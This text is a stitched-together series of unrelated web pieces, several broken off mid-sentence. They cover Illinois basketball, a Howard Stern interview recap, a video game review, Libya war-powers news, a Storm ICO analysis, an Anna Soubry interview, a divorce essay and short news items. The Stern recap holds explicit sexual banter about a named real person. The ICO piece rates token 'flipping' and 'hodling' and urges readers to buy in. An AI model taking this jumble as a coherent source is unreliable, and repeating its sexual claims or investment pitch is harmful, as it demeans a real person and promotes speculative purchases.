Then, the sky fell for Illinois. leading scorer and rebounder Rayvonte Rice broke his left hand during practice. The only offense the team could rely on would miss the next month. The Illini responded with a home win against top-15 ranked Maryland as sophomore Nunn and Malcolm Hill emerged as the team’s leaders. The two scored in double-digits and it seemed like Nunn would never miss a shot.
The Indiana game was big. The heavily hyped game lived up to the talk, but Illinois eventually lost the game of runs. To add to the damage, Cosby was hit in the eye and would miss the next few weeks with the injury. The transfer guard would never play another game for the Illini as a few weeks later, Groce announced that Rice and Cosby would be suspended indefinitely for breaking team rules. Rice would return after a few weeks while Cosby and the team would go their separate ways.
Illinois responded with a four-game win streak, which was then met with a three-game losing trend. The team lost four of its last six games, including a large lead over Purdue in the season finale. All NCAA tournament hopes were dashed with that and the Michigan loss. The team showed it just didn’t care anymore, and showed it in the embarrassing loss against Alabama on Tuesday.
Now Groce is left with questions. Can he be the one to lead this program back to prominence. On the 10-year anniversary of the great 2004-05 Final four team, the program only seems to be heading south. As of Wednesday, Groce’s 2015 recruiting ranks 15th in the nation. Jalen Coleman-Lands, Aaron Jordan, D.J. Williams and Darius Paul can all make a great impact for this team. Paul is having a good year at junior college in Texas, serving his one-year suspension from Illinois after dealing with drug problems. He, as well as freshman Leron Black, can provide the post presence that the team will need.
Illinois should also be encouraged with the development of Hill and Nunn. Both have shown that they an be dynamic scorers in the Big Ten, but for whatever reason, both were lost when Rice returned from injury and suspension. These two, along with Tate will need to continue to develop. Abrams will be the starting point guard, but Tate needs to progress with his shot if he wants to be a point guard in the conference.
The most important factor is education. If the team doesn’t learn from the experiences of this season, especially the last three games, then there isn’t much Groce can do. It will most likely be a make-or-break year for the three-year coach. He needs to instill his motto of “toughness and togetherness” more now than ever. If the Illini don’t learn from this, the program will not return to its once prominent position.Do developers need the Mac App Store? It’s a question many are asking themselves these days. Once a cornerstone for app deployment, its value is now suspect, and developers are starting to examine their use of it closely.
The first to really hammer home the Mac App Store’s diminishing worth was Kapeli, which tangled with Apple over its Dash app. The long-story-short there is that Kapeli owner Bog |
it all and to run everything? That could be part of the attraction, especially when your father's a billionaire.
Steph: He was a great father. When I was born, he was with my pregnant mom in towtruck on his way to declare bankruptcy. I'm behind the scenes. I get a salary from WWE. I went to a private school, I shot down my first passion of being a choreographer. My mom wanted me to be a doctor. He doesn't cheat on my mom anymore. You don't have to rub it in. At first I was mad at him. That's not my style. I have had some fights with my father.
Stern: You don't want him to disown you, so you help write some of the scripts, and you have wrestled.
Steph: Shane was, at one time, part of the creative process, not now. Triple H was very flirtatious. He used to drop hints and I wondered if he was hitting on me. Our storyline was that we were married, I'd be sitting on his lap. I didn't feel anything if he did. He felt my leg when he was on the floor, not part of the script. I liked it a lot. It was a very touchy situation. I knew it was forbidden in our business for me to date any of the wrestlers, (jokes) this is rules for disowning. They (Triple H and Chyna) were getting out of the house they bought together. We stopped talking when I discovered she was still living at their house together. Vince could see what was going on. He gave the okay, then took it away. So if it was meant to be(in real life), it was meant to be.
Stern plays Chyna interview again...
Chyna: It broke my heart. I think that Stephanie had a real opportunity to gain some respect, and she really disappointed me as a woman with that unprofessional behavior. Do you think Triple H is sitting pretty Howard? Once you rope yourself into that family, that's a 24/7 job. He's going to be Mr. Kiss Ass from now on.
Steph: She was just telling me how she felt there. Would I fight her, if she picked a fight with me? I didn't say I could take her though. I would defend myself.
Stern: Who's Saliva?
Steph: They're hot right now and did the song for our pay-per-view.
Robin: Do you think the business is in trouble?
Steph: I don't think we're in the spot we want to be, our numbers are down. I don't think we're in dire straights, not as strong as we'd like it to be.
Caller: Steph graced us twice with the site of her beautiful breasts popping out.
Stern: That's a nip slip.
Steph: And you have the footage right here! I was horrified, it wasn't planned. It's unnerving. Says she's open about breast implants. I lost a lot of weight, and they shrank to two melted packets of butter.
Caller Two: does the name Paul ring a bell to you? A buddy of mine named Paul used to sleep with Stephanie and (caller gone).
Stern: Vince nuked his ass.
Caller Three: Was the real reason Stone Cold left because you used a strap-on on him? Steph: I don't know what Steve's into, but we didn't use a strap-on on him, on-camera. I'd marry Triple H, if he asked. I don't know how the whole inheritance, financial thing will work out. I have stock. But who knows if there's going to be a wedding.
Caller (pretending to be Joanie): I'm very sick of you, and your father had sex with me. Thanks for taking Triple H away from me, you bitch.
Steph: Was he (Vince) any good?
Caller: Triple H is taking up too much time, many on internet say that it's because he's your boyfriend.
Steph: Yes, it's my plan to run the company into the ground.
Steph on her breasts: They were swollen last year, and I'm still losing weight, I was thinking of getting them bigger, just one size. It's a D. Because I'm a big girl.
Stern: You can go a size up.
Robin: She's got big breasts now.
Last caller (John again): A buddy of mine, Paul, used to sleep with Steph. He says she loves being tied up and loves anal.
Stern: That's a heavy accusation.
Steph: (jokes) I love anal, can't get enough. I'm open to trying anything. Triple H would like it, too. I probably will at some point. Triple H is actually the first Paul I've ever dated. It was unsuccessful the first time I did bondage, I didn't like it. Maybe some other time.
Stern: I feel she's experimented with anal.
Steph: I'd be willing to.
Same caller: Howard, what's the chance she'd give me anal if I came down?
Steph: I'd have to give him anal with the strap-on I used on Stone Cold.
Caller (Male voice): How can I score some steroids? My name is Denise.
Stern: Now you beat Nicole Bass (in court).
Steph: Because she wasn't, the jurors said she was just lying. I testified too. We didn't back down. We're about pride.
Erik the Wheelchair Midget: I like Smackdown better than Raw.
Stern: You have an S&M fixation, with Brittney Spears posters in your room, you're never gonna get laid going on like this.
Erik: WWE should have a band playing before/after the matches to give it a party atmosphere.
Stern: You've never pleasured yourself thinking about her, whacking it?
Steph: I'd be offended if he hadn't.
PPV and TE3 plugged. My character's changed, now I'm in a business suit.
Artie does an Erik Bischoff impression: By the power vested in me... I pronounce you gay wrestlers.
Stern: Erik, go back and stare at your posters.
Steph on sex with Triple H: Triple H bangs me hard when I like it hard. I like a variation. Best sex I've ever had. I've not sex with a woman, but I had a woman come on to me. Last PPV, I almost had HLA. They were starting to kiss me, I kinda liked it. I've been to strip clubs. I'm sure Triple H would love me to bring home another girl. Who knows, I'm just not there yet. Triple H is groomed. I'm totally shaved, I have no hair down there.
Stern: I love that look. I don't wax, I hate waxing, it's very painful.
They ask comedian Dave Chappelle if his wife is shaved. He refuses to answer since his wife is Asian. "If Stephanie says she's got a hairless vagina..."
Stern: Does Triple H have hair on his balls?
Steph: I don't think he's got ball hair. He doesn't have a lot of hair there to begin with. When we see each other, three times a week. I don't even count (sex/week).
Artie: She's very articulate for someone who went to the Greenich Private School Steph: It just makes me wanna fight (when other female schoolmates criticize her).
Stern said it was nice meeting Steph, then plugged Tough Enough 3 and No Mercy to end the segment.
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CLICK HERE TO RETURN TO MAIN LISTINGAt first, Cobalt feels wonderfully rambling and wayward, a game that has clearly relaxed into a lengthy development and then decided to just spread out a little. I get the impression its developers have followed whims, and so: campaign, multiplayer modes, challenges. Guns, throwables, melee. Pets, lockpicking, hacking games, loot, stealth, active-reloads, co-op, block-mining, in-game conversations, unlocks, boomerangs, flashbangs, memes, level editing, dancing.
I have left stuff out. I have left crucial stuff out. I have left out the fact that your feet glow when you hit top speed. I have left out that time my head turned into a propellor and I could suddenly fly. And yet at the heart of it all is something deliriously simple that provides just enough focus to tie it all together. Across all modes, across all entertaining distractions, Cobalt is the 2D platform-shooter-brawler in which you can combat-roll into oncoming projectiles, trigger a glorious moment of auto-slo-mo, and knock whatever's headed your way back in the direction it came from. It's relatively hard to pull off, but that's the point. In your early hours of the game you'll find that you can also pull it off through sheer luck every now and then. That's also the point.
The aiming lock-on system is lovely, and has some devious limitations.
If I've made it sound something like Vanquish, be warned: for your first few hours, it is definitely nothing at all like Vanquish. Cobalt offers its waddling robot protagonist a precision move-set of rolls, double-jumps, punch-jumps and slides alongside melee, ranged and thrown attacks, but it mounts all this stuff in what looks rather convincingly like chaos. Knockabout physics-heavy environments. Encounters that earn their particular character through their strangely brilliant lack of rhythm - lulls followed by enemy spamming, bottlenecks that can be intractable one minute and cleared in seconds on the next attempt. Even the challenges, which for the Cobalt newbie like myself are probably the best place, rather paradoxically, to get the measure of things, are too hectic to bow before sheer precision. There is generally a way to ace each downhill-chase or blow-up-three-of-X, but the real fun comes from uncovering all the ways of completing these treats that are probably unique to you alone, and unique to the way that you have fumbled one section and absolutely S-ranked the next.
Over time, however, a different game starts to emerge: a game that actually wants to have it both ways. Beneath the chaos, there is plenty of scope for mastery here. Take campaign mode. Combat rolling, which can deflect shots, seems overpowered until you realise it's actually a precision tool - it changes where your own shots end up. The more you play, the more you notice this kind of thing, and the more that precision starts to outweigh the madness. Yes, this is a campaign in which a panther-type thing might jump on you out of the blue and kill you stone dead in the middle of a great run, but it's also a campaign in which you could have dealt with that panther-thing if you were fast enough, and where the perfectly sighted headshot from across the screen, while moving, gives a thrill that no accidental victory could ever provide.
Similarly, movement can seem too hectic to make sense in early levels, but it's actually a dance of momentum, allowing the more skilled to access higher spots on the map, and move across empty space that much quicker. The motley arsenal you uncover all has its specific uses, from flashbangs to wrenches, to the screen-clearing thermal bomb. Sure, enemies that explode with randomised announcements of Super Rare Loot that can change the course of the next five minutes, and sure, the wildlife and the baddies you encounter are often happier fighting each other than they are turning on you, but Cobalt is still a game that will treat you right if you pay attention to it. You can get better at, and the better you get at it, the better the game becomes in return.
If it's quiet, you know you're about to be in real trouble.
The same holds for the other modes, whether it's the endless dash to the best weapon that defines the first few seconds of a deathmatch (but never defines the course of the match overall), to the bots that can be gamed in team deathmatch, or the shifting pace of a round of Plug Slam, Cobalt's version of Capture the Flag. All of these treats play out across snug maps riddled with devious routes you probably won't notice on your first visit until it's too late, and then there's the Horde-like survival mode, and those brilliant challenges, hare-brained tests of speed and aggression. Just one of these, Predator Checkpoint, has eaten up an hour and a half so far as I sneak - for the most part - through a darkened enemy camp, taking out deadly targets, at least one of which has decided to wait for me in a mech.
I love the unexplained mechs, and the endless push and pull between chaos and order. I love that Cobalt often doesn't explain itself. That active reload system is not mentioned in the tutorial, for example, while loot and upgrades and throwable/ridable pets are all systems you have to prod your way through in order to make sense of them. The result is a game that you'll never truly feel you have fully got to grips with, perhaps, but it's also a game that will be able to surprise you time after time.President Barack Obama is briefed on the situation in Libya during a secure conference call with National Security Advisor Tom Donilon, right, Chief of Staff Bill Daley, left, Secretary of State Hillary Clinton, Secretary of Defense Bob Gates, AFRICOM Commander General Carter Ham, and Deputy National Security Advisor Denis McDonough, in Rio de Janeiro, Brazil, Sunday, March 20, 2011. UPI/Pete Souza/White House | License Photo
U.S. President Barack Obama addresses the nation on the situation in Libya as to why the U.S involvement is important, during nationwide television address from the National Defense University in Washington, DC on March 28, 2011. UPI/Dennis Brack/Pool | License Photo
U.S. President Barack Obama addresses the nation on the situation in Libya as to why the U.S involvement is important, during nationwide television address from the National Defense University in Washington, DC on March 28, 2011. UPI/Dennis Brack/Pool | License Photo
WASHINGTON, May 26 (UPI) -- The U.S. House voted 416-5 Thursday to bar the Obama administration from placing ground troops in Libya.
The vote was the latest indication of congressional concern the administration might be thinking about expanding the role of the U.S. military in North Africa, The Hill newspaper reported.
The amendment to the National Defense Authorization Act was sponsored by Rep. John Conyers, D-Mich., and followed a Wednesday voice vote to accept an amendment from Rep. Scott Garrett, R-N.J., saying the NDAA does not authorize further military action in Libya.
Congressional critics complain the administration has yet to seek congressional authorization to use force in Libya, which under the War Powers Act must come within 60 days after the start of hostilities.
RELATED Gadhafi resignation demand may be dropped
The Hill said President Barack Obama repeatedly has ruled out the use of ground troops in Libya. Wednesday, Obama said the lack of ground troops would limit airstrike operations.
Earlier, U.S. Rep. Justin Amash, R-Mich., said Obama is breaking the law in Libya because he failed to get congressional approval for the action.
Amash and other lawmakers from both major parties criticized Obama during a hearing in Washington Wednesday.
"The undeniable conclusion is that the president is breaking the law by continuing the unilateral offensive war against Libya," Amash, a conservative freshman testifying before the House Foreign Affairs Committee said. "The tragedy, for our system of self-government, would be if Congress continued to do nothing."
Amash has proposed a bill to end funding for the engagement until the president gets congressional authorization, The Washington Post reported.
Under the War Powers resolution Obama was supposed to get Congress' authorization to continue the operation in Libya beyond 60 days. Obama sent a letter to Congress asking it to pass a resolution supporting U.S. action in Libya.
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NATO members are conducting most of the airstrikes with U.S. forces flying the majority of the reconnaissance, surveillance and refueling missions.
U.S. aircraft account for a quarter of the approximately 150 missions flown each day by NATO forces, the report said.
RELATED NATO hits targets in TripoliAfter our first community chosen analysis, we decided to pick a project that recently made some noise with its unusual team composition and unusual ICO settings: Storm. Is it going to bring the light to worried flippers? Is it going to electrify the portfolio of the courageous hodlers? Let’s see that right now.
[UPDATE: The ICO has been postponed to Tuesday November 7th, 1 pm UTC]
[UPDATE2: The hard cap is now 120 000 ETH, down from 206 295 ETH]
What is Storm
Storm is actually the short version of an umbrella of decentralized applications and features starting with “Storm” in their name. Storm Play is an app which allows users to access to the Storm Market, a decentralized micro-task marketplace. This is managed by the StormX team, who is already behind the Bitmaker app. To use the Storm Market via Storm Play, you will use Storm tokens that will be ultimately sold during the upcoming crowdsale.
Storm Marketplace, which is the core of the project, aims to be a kind of gamified freelance platform where “Makers” and “Players” meet each other to buy and sell tasks. Unlike centralized platforms such as Upwork, Fiverr or Amazon’s Mechanical Turk, Storm Marketplace runs on its own (because it is decentralized) and subsequently charge only very small fees.
Unlike previously cited freelance platforms too, gamification is a very important aspect of Storm’s ecosystem. Makers post tasks on the market and Players execute those tasks in exchange of different kinds of rewards (including money) that make the whole thing a fun experience.
How it works
Well, they do not go that much into the technical details, but they explain pretty well their philosophy about how the users should be involved in the Storm platform. First, micro-tasks are not proposed to anyone using the service. The network chooses who is able to do what by relying on many parameters like the personality of the user and its experience with identical or similar tasks.
Depending on if you are an achiever, a disruptor, an explorer, a socializer, a philanthropist or a player, the platform will propose to you different types of tasks. The smooth running of the tasks is assured by what they call “action-loops”, which are procedures to ensure that task assignations are relevant and that the user’s progression to the mastery level is done properly.
To gamify the progression of its users, Storm uses “Bolts” as units of a rewarding system. Users can earn Bolts by doing micro-tasks and by doing training tasks to improve their skills. As their experience increase, they are assigned more micro-tasks. But your experience level on the Storm market is not tied to your Bolts, they are an artifact of it. You can actually use them to get “boosts”: “Within Storm Market, Storm Players can use their balance of Bolts for boosts. Boosts give the Storm Player access to more micro-tasks for a certain period of time” (p. 14).
This is a very interesting and innovative concept. It looks like a reversed Fiverr mixed with a RPG. You apply to “job offers”, you earn money and it is fun. The blockchain technology ensures a secure, fast and cheap environment for everyone.
ICO characteristics
Start November 7 – 1 pm UTC [UPDATED] End November 20 – 6 pm PST Total supply 10 000 000 000 STORM tokens Conversion rate 1 ETH = 26 950 STORM Soft Cap / Hard Cap 120 000 ETH Distribution 65% investors – 25% team – 10% incentivization. Use of funds / Tokens Release When the tokens are bought
More on the token distribution
So, there was a little drama about Storm’s presale that was ended when StormX team confirmed that early investors didn’t get a 100% bonus but a 53% bonus “on average” with a 90 days lockout. This sound ok, but remember that those distribution rules lack legal backup, so if you wish to Flip hard that token (like 100% of it), we recommend that you don’t wait for ages before doing so, because there is a lot of tokens that have been sold before the public crowdsale and only a tiny part of them are officially locked. Here is the complete distribution for investors, as described in this blog post:
Limited Private Presale: 1 500 516 092 tokens
Limited Private Presale Bonus: 798 601 008 tokens (90 days lockout)
Early Access Presale: 945 000 000 tokens (100 ETH personal cap)
Early Access Presale Bonus: 141 750 000 tokens
TOTAL Presale: 3 385 867 100 tokens
TOTAL remaining for the upcoming crowdsale: 3 114 132 900 tokens
So yes, this is less than half of the distributed tokens for all of us guys.
Note that, in order to participate in the crowdsale, you must be registered on the whitelist. The whitelist registration is open to everyone (except US and China) for a few hours now at the time we are releasing this article. Go register by clicking here. There is a KYC, so prepare your IDs!
Team
The team backing the Storm project is pretty heavy. Among the leading and technical staff, there are very experienced people already involved in the crypto industry. Remember that StormX already published Bitmaker, so they know what it is all about and will have no issue, we believe, to bring the smart contract technology to the gamified micro-task idea.
But the most amazing part is the advisory board, which reunites big names of the crypto ecosystem. Among them, there is Anthony Di lorio, founder and CEO of Jaxx and Decentral, Guy Benartzi, co-founder of Bancor, Jeff Pulver (pioneer of VoIP) and some notable players in the investing and banking industries.
Roadmap
This is a weak part of this project. The global roadmap seems to have been omitted, so you won’t find it on the website or in the whitepaper. The only accessible roadmap yet is the ICO one, which is now pretty simple since the only important date is the beginning of the crowdsale (October 20).
However, there is a small paragraph in the whitepaper about future plans:
“In the future, the Storm Market will use “Storm Tasks,” the smart contract templates for agreements made between Storm Makers and Storm Players. Storm Tasks will be ethereum-based smart contracts, written in Solidity, that will aim to facilitate micro-task transactions in the Storm Market. Processing for Storm Tasks will reside on top of the Ethereum blockchain […] In the future, StormX intends to launch additional categories of micro-tasks and smart contract use cases within the Storm Market, such as the ability to learn about or sample retail products via “Storm Shop,” or perform small projects or complete any other gamified micro-task or similar freelance job that a Storm Maker seeks to have completed via “Storm Gigs.” Storm Shop and Storm Gigs are envisioned categories of micro-tasks within Storm Market that StormX aims to further develop in the future“.
Interview with the CEO Simon Yu
In a recent blog post you announced the decrease of the personal cap for the Early Access Presale, which is now 100 ETH per registrant instead of 350. Is there a personal cap for the public crowdsale as well and, if yes, do you already know how much it will be?
Good question. There is no personal cap on the actual crowdsale, the 100 ETH per person is only for community appreciation.
As we spent quite a long time to do due diligence on our project, we’ve had some users who have been backing our projects since July. In order to reward our most loyal user base, we allowed our early community members to sign up.
The community member participants will all be able to participate earlier than the normal people as even if you don’t get in the community bonus round you’re eligible straight into the crowdsale.
Many people asked about when the tokens will be released, and I could see that the answer given was “immediately”, can you elaborate on this? Will the tokens be available as soon as they are purchased and if yes, is it the same for those who got early access to them (meaning, will early purchaser be able to trade tokens before the main crowdsale happens)?
Yes and we have to give credit to Rui our CTO who is an excellent developer. If the participant’s Ether is confirmed on our side the tokens will be sent back to their address immediately.
The users will own Storm tokens when this occurs.
You didn’t publish any roadmap yet about the development post-ICO of StormX’s project, but we can read intriguing things in the whitepaper about “Storm Tasks”, “Storm Shop” and “Storm Gigs”. Can you elaborate on those features?
With the current Bitmaker soon to be rebranded as Storm Play, we’ve done a really good job with growing both users (1.2M+ downloads across 187 countries) and brands such as Uber, Hulu, blue apron available on our product. Our next big update will be a SDK both on iOS and Android that will allow developers to put Storm Play on their apps to grow this network and also allow developers to grow their monetization and earn cryptocurrency.
Storm Gigs will start with machine learning tasks. The Gigs feature is our biggest focus and we’re currently seeking partner AI machine learning companies to source jobs and utilize our platforms for our alpha. Storm Gigs will be an extension and allow more earning opportunities. We will continue to build the gamification layers and also allow individual skilled jobs like Taskrabbit.
Useful links
Our advice
StormX’s project came a bit unexpected on our radar and got our attention for good reasons. First, the team is very serious and passionate. They already have a working product which is highly related to what they want to achieve and they are supported by quite big players in the crypto world. As if the investing indicators were not green enough, their idea is simple, realistic, with no serious competition around.
Now lets talk about the numbers involved in the ICO they propose. The hard cap is around 60 million $USD, which is a bit high for something that is not involving tremendous research and development. But the good news is that a lot of it has already been raised more or less privately, which means that the crowdsale may close before everyone has a chance to buy their share anyway. About all the pre-crowdsale events, it feels indeed a bit weird that more than half of distributed tokens are issued before the crowdsale, but this is not the real danger. The only real issue of this ICO is that tokens are released as soon as you buy them. This means that we will likely see STORM tokens being traded by early investors during or even before the crowdsale. I think such a situation never happened before and I have to admit that it is an interesting perspective, because it means that, maybe, the public is going to get a bonus anyway by trading on exchanges. If that happens, the only loser will unfortunately be StormX, because they may not sell all their tokens, which means less ETH for them, but more tokens in the reserves for eventual future incentivizations (or burning, depending on what they choose).
However, we don’t think the ICO will fail in any way, because Storm is clearly the next big project of October. We chose to give a 7 mark to FLIPPING, since the probability of the demand exceeding the offer is still very high despite the fancy distribution, and we will give a 8 mark to HODLING, because whatever the price you get your tokens, you can be sure about two things: 1) The project will be seriously developed and 2) The use of tokens totally makes sense in a gamified context like proposed by StormX, which make us to believe that the team is going to make them a valuable asset in their ecosystem.The Tory MP was one of David Cameron’s modernisers, and campaigned to remain in the EU. Now she is angry at everyone – at Labour, her own party, the Daily Mail, even herself – but feels she must vote for article 50 regardless
“I think,” Anna Soubry begins with an extravagant sigh, “we have to take a big chill pill in all of this, as my daughter would say.” The Conservative MP flops into a chair in her Portcullis House office, which looks out over the Thames. “Everyone’s getting so worked up. We’ve really got to calm down, take a step back, and put our cool heads on.”
The following hour feels like being caught in the path of a hurricane. I haven’t been on the receiving end of this sort of sustained thunder since I sat through a sermon by a Jamaican Baptist preacher. “What’s happened to our country? We’ve lost the plot. We’ve lost the ability to be brave and stand up for what we believe in!” Soubry is blisteringly angry about Brexit, and furious with the right, the left, the media, even at one point herself. In the interests of strict accuracy, almost everything she says should be reported in capital letters or italics, and probably both. If this is Soubry’s idea of a chill pill, I would love to meet her after a double espresso.
Anna Soubry brands Liam Fox's free trade speech 'delusional' Read more
The Nottinghamshire MP began her career as a television presenter, then became a criminal barrister, and was elected to parliament in 2010. A single mother of two, and a passionate supporter of the EU, she served as a junior minister under David Cameron and was very much a part of his detoxification project. “He got rid of the nastiness, and made us electable.” Cameron kept her busy, first as parliamentary undersecretary of state for health, then for defence, and then as a junior minister at the ministry of defence, followed by the department for business. In the summer leadership election, Soubry voted for Theresa May – and remains a supporter of the prime minister – but lost her job in the new government. A lifelong Conservative, the 59-year-old is incensed by what is now happening to her party. And being, as she puts it, “not a proper politician, I say exactly what I think”.
Boris Johnson gets it first. “We actually now have a foreign secretary who said the EU tells us what quantity of bananas we’re allowed to buy. It’s just bollocks. And that’s the problem.” After this week’s diplomatic spat over prosecco, would she say Johnson is helping Britain’s cause in Europe? Soubry glowers. “I think Boris should understand the consequences of us leaving the single market and the customs union.” Only this week, Soubry met the directors of a pharmaceutical company (she won’t say which one) who told her that they will take 1,000 jobs and relocate to Europe if we leave the single market. “Boris needs to talk to British businesses, as I do. Boris and the rest of his people need to get real.”
Even if we do leave the single market, Soubry doesn’t believe immigration levels will go down. “Look at the stats this week, we are almost at full employment. If we are going to be the vibrant economy that we are, we need migrant workers. That is the reality of what is going to happen. All those people in Boston, they didn’t vote leave to ‘control our borders’. They voted to reduce the number of people living in Boston from the EU! ‘Control’ means reduce. That’s what people in Boston voted for. They voted for less. Now Paul Nuttall from Ukip is saying we’ll have a visa system, and people can come here if they have a job. OK.” She narrows her eyes. “Then will there be more, less, or the same levels of immigration? Paul Nuttall refused to answer the question! Because the answer to the question would be: the same. So you tell me, if we leave the single market, what happens in Boston when those people who voted leave realise they will not see a reduction in the number of migrant workers in their town?”
Soubry pauses just long enough for me to ask her what she thinks. “They will be even more disillusioned, and they will feel even more betrayed. And I do fear about the consequences for our politics. The democratic deficit will grow, not diminish, by what happened on 23 June. Those people in Boston need to look at the Borises, the Goves, the Carswells, the Farages of this world, who have led them down a garden path into a very dense, very dark, unpleasant forest of darkness.”
If anything she is even angrier with the opposition benches. “The greatest betrayal of the liberal left in this country is by the Labour party. The profoundly peculiar thing at the moment is that the two most liberal MPs on the subject of immigration, who will stand up without fear and make the positive case for immigration, are David Lammy and me, in the face of MPs from the Labour party – the Labour party! – who I know agree with us, but are petrified, literally. They’re frozen.” Caught between constituents who voted overwhelmingly to leave, and a Corbynista “ragtag and bobtail of all sorts of lefties” who might deselect them, “They’re terrified. They daren’t speak up for immigration. It’s pathetic, it’s absolutely pathetic. They’ve left it to an old Tory like me to do it.”
It will come as no great surprise to anyone that Soubry is routinely subjected to a barrage of online abuse from both left and right. She says that members of the hard left have proposed that she be hanged and that anti-EU tweeters have told her she is part of the swamp they intend to drain. Her critics point out that she hasn’t been entirely polite herself. In 2013, she memorably said of Nigel Farage, on live television: “I always think he looks like somebody has put their finger up his bottom and he really rather likes it.” Downing Street took a dim view and Soubry issued a public apology, but doesn’t sound terribly sorry – or wholly convincing – when she claims this was in no way the same thing as being abusive.
“That’s not me deriding – ” she begins, before swiftly breaking off, presumably realising that derision is exactly what it was. She tries again. “That’s me taking the mickey out of him. That’s me finding humour. It’s not a personal …” She breaks off again, as that won’t wash either. “It’s not hateful. It’s not the same as hating somebody. I don’t hate anybody. I dislike people’s politics.” She thinks for a moment. “The only person I think I actually do dislike is John McDonnell, I actually do think he’s a nasty piece of work, because he’s an IRA apologist. I’m entitled to call him a nasty piece of work because of what he said about the IRA.” I don’t follow why this constitutes a justifiable exception, nor why, if it did, she wouldn’t also dislike Gerry Adams and Martin McGuiness too. “But I don’t hate him,” she goes on. “Hate is awful.”
She feels on firmer ground with the media. “Our media’s taken leave of its senses. Hysterical headlines are I’m afraid just becoming acceptable. I think the Daily Mail is just appalling at the moment.” She has nothing but praise for Gary Lineker, “the sensible face of our country”, and is a big fan of the current #stopfundinghate campaign to persuade advertisers to boycott newspapers that print xenophobic smears against immigrants.
“This over-sensationalisation – emotional rather than factual – it’s got to stop. You can be passionate about something but still have a reasoned debate based on fact and evidence, and not this horrible hate-filled way the media and politicians are conducting themselves. It’s appalling. We’ve lost the civilised art of robust, well-informed debate, and we need to get it back. I’m concerned that it’s now acceptable for people to say things they know aren’t true, and no one challenges them.”
Facebook Twitter Pinterest ‘He got rid of the nastiness, and made us electable’ … Soubry with then prime minister David Cameron in Nottingham in 2014. Photograph: Tim Goode/PA Archive/PA Images
Soubry offers an anecdote to illustrate how it should be done. During the referendum campaign she met a man in the east Midlands who told her that you no longer hear anyone speaking English in Newark.
“I thought, ‘I’ve had enough of this.’ I looked him straight in the eye and said: ‘That’s crap and you know it’. I said, ‘That is crap and you know it. I know Newark, and that’s crap. Of course you hear people speaking English! Overwhelmingly they’re speaking English in Newark’. And you could see him thinking, that’s absolutely true.” She snorts. “Well of course it’s true! But it’s become acceptable to say that, and people weren’t being challenged. So I challenged him.” By now she is jabbing a finger at me and her eyes are burning. “And he went, ‘Yeah, but … but … yes you’re right. But they hang around on street corners drinking beer’. And I said, heavy with sarcasm, ‘Yeah, because of course, British-born people never do that, do they?’ And you could see again, he was thinking, ‘Oh, of course she’s right.’ You see, I was challenging him! That’s how you win this argument!”
Many of us – 48% of us, probably – wish more people had won that argument. But Soubry admits that, because she voted for the Referendum Act, she shares some of the blame for the constitutional fiasco we now find ourselves in. She had been in favour of holding a referendum – “Only because I thought we would win. Obviously I wouldn’t have been if I thought we would lose, let’s be honest!” – but, like everyone else, failed to notice the legal flaws in the legislation, which only came to light when the high court ruled that parliament’s consent was required to trigger article 50.
“Look, people should be cross. People should be cross. And I feel very guilty about that. We voted for the Referendum Act without understanding the consequences of a leave vote. We told people it was binding, but now we don’t |
calls” at weekends and when we were on family trips. All affection was withdrawn and his hair-trigger temper became apocalyptic as he clearly resented every second he spent in my company.
With hindsight, it doesn’t take a psychologist to work it out. He felt trapped in our marriage: we had two preschool-age daughters and he wanted his carefree life back. His mistress’s children are grown up, so she and he are free of responsibility or restrictions. A holiday touring around south-east Asia? No problem. A music festival in New Orleans? Let’s book it. Midlife crisis complete – he has even started dressing like he did 25 years ago.
I don’t blame his mistress one bit. She must have thought it was her lucky day when a handsome, younger man showed an interest. Maybe she thought she was destined for a life alone, or to be stuck with men of her own generation – with prostate problems and a cosy pair of slippers.
If it hadn’t been her, it would have been someone else. It is not as if he met the love of his life and had to be true to himself. She was just an escape route out of a life he viewed as mundane and humdrum until he didn’t have it any more and realised the grass isn’t always greener. Of course, life with two small children is hard – throw in a long daily commute and it is downright tough. But you deal with it and know that, for a short time, you might have to come a bit further down the priority list. Instead of which, he threw it all away for a woman he will probably end up caring for in a few years.
There were weeks of him sobbing and begging to come back, calling it the biggest mistake of his life but, by then, I had begun to experience how life could be, should be – fun, light-hearted and not living in fear of someone else’s mood swings. The cloud of doom had left the building and I was not going to let it back in.
Now things have calmed down and we are a few years down the line, I am glad he is with an older woman. He and I aren’t right together, and my daughters seem to like her. Because she is a mum herself, I trust her with my children and am happy there is someone else looking out for them when they visit their dad. Better they are staying in her beautiful home than a depressing bedsit.
Granted, this wasn’t the life I had imagined. The Richard Curtis world of happy ever after with a mum and a dad in a rambling house hosting big parties filled with children running in and out. We had talked about moving out to the countryside one day – dreams that were all whipped away pretty much overnight, leaving a void of uncertainty. But one thing I know is how unhappy the girls and I would be if their dad and I still shared a home.
Yes, things such as parents’ evenings, sports days and school shows can be hard when you are surrounded by other parents with their partners. Or when one of the girls has done something particularly funny or clever and you long to be able to exchange that proud look with someone who loves them just as much as you.
But the reality is, even if we were still together, those situations would not happen like that. He would be scowling and surly at parents’ evening, or he would refuse to talk or make eye contact with me at sports day. It would not have been the “normal” interaction I see with other couples. And, anyway, the older I get, the more I realise that quite often the happy facade many couples present is very different from the reality when the front door is closed.
I refuse to be the stereotypical bitter single mum: I am a professional fortysomething mother with a very busy, joy-filled life who just happens to be parenting alone. I don’t sit around swigging chardonnay and slagging off men. I love men – I have three brothers and lots of male friends. One bad marriage doesn’t mean it’s game over. Perhaps surprisingly, I don’t regret my choice of husband. We were deeply in love once and shared many special times. We also created two perfect little people. One day, I hope that I will find love again, but perhaps this time I will choose someone who has put their midlife crisis far behind them.The Silversun Pickupsare coming back strong in 2012. After a three year wait, the band will release their third full length album “Neck of The Woods” on May 8th and they are already scheduled to play at this years sold out KROQ Weenie Roast. But since those tickets are damn near impossible to get, SSPU will also play a show on Friday, May 4th at the Observatory OC in Santa Ana.
Tickets for this show will go on sale starting on Friday, April 13th at 9am through Ticketweb for $35.00 plus any additional service fees. These tickets are going to sell fast and the link below will get you there. In the meantime take a listen to the lead single “Bloody Mary” off of the new album below and get ready for Silversun Pickups live in May.
Purchase: Tickets for Silversun Pickups at Observatory on 5/4This article is over 1 year old
Islamic State claims to have killed two Chinese nationals who were abducted last month in Pakistan’s Balochistan province, in the heart of a large-scale infrastructure project between the two countries.
The claim, by the Isis news agency Amaq, came hours after the Pakistani military announced it had carried out a successful operation against Isis-affiliated militants in the same region.
The Chinese couple were studying Urdu in Quetta, where they reportedly also ran a Mandarin language course. They were kidnapped in late May by men wearing police uniforms.
China to set up military bases in Pakistan – Pentagon report Read more
